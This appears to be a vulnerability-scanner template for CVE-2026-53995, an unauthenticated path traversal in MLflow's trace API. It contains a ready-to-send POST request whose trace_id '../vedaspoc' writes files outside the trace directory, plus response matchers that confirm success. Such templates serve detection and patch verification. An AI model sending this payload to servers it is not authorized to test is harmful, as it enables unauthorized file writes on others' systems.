id: CVE-2026-53995 info: name: "MLflow - Unauthenticated Trace ID Path Traversal" author: vedas-arpsyndicate severity: high description: | MLflow 3.17.1 and earlier contains a path traversal vulnerability in the FileStore tracking backend. An unauthenticated attacker can submit a crafted trace ID containing traversal sequences to the POST /api/3.0/mlflow/traces endpoint, causing FileStore.start_trace() to write trace_info.yaml, request_metadata and tag files with attacker-controlled metadata outside the intended experiment trace directory, subject to the server process's filesystem permissions. reference: - https://www.exploit.observer/?keyword=CVE-2026-53995&match=exact - https://subdomain.center/?engine=ammonites&keyword=mlflow&match=exact classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L cvss-score: 8.2 cve-id: CVE-2026-53995 cwe-id: CWE-22 metadata: verified: false max-request: 1 tags: cve,cve2026,mlflow,lfi,traversal http: - raw: - | POST /api/3.0/mlflow/traces HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"trace":{"trace_info":{"trace_id":"../vedaspoc","trace_location":{"type":"MLFLOW_EXPERIMENT","mlflow_experiment":{"experiment_id":"0"}},"request_time":"1700000000000","state":"OK","trace_metadata":{},"tags":{}}}} matchers: - type: dsl dsl: - 'contains(body, "../vedaspoc")' - '!contains(body, "INVALID_PARAMETER_VALUE")' - 'status_code == 200' condition: and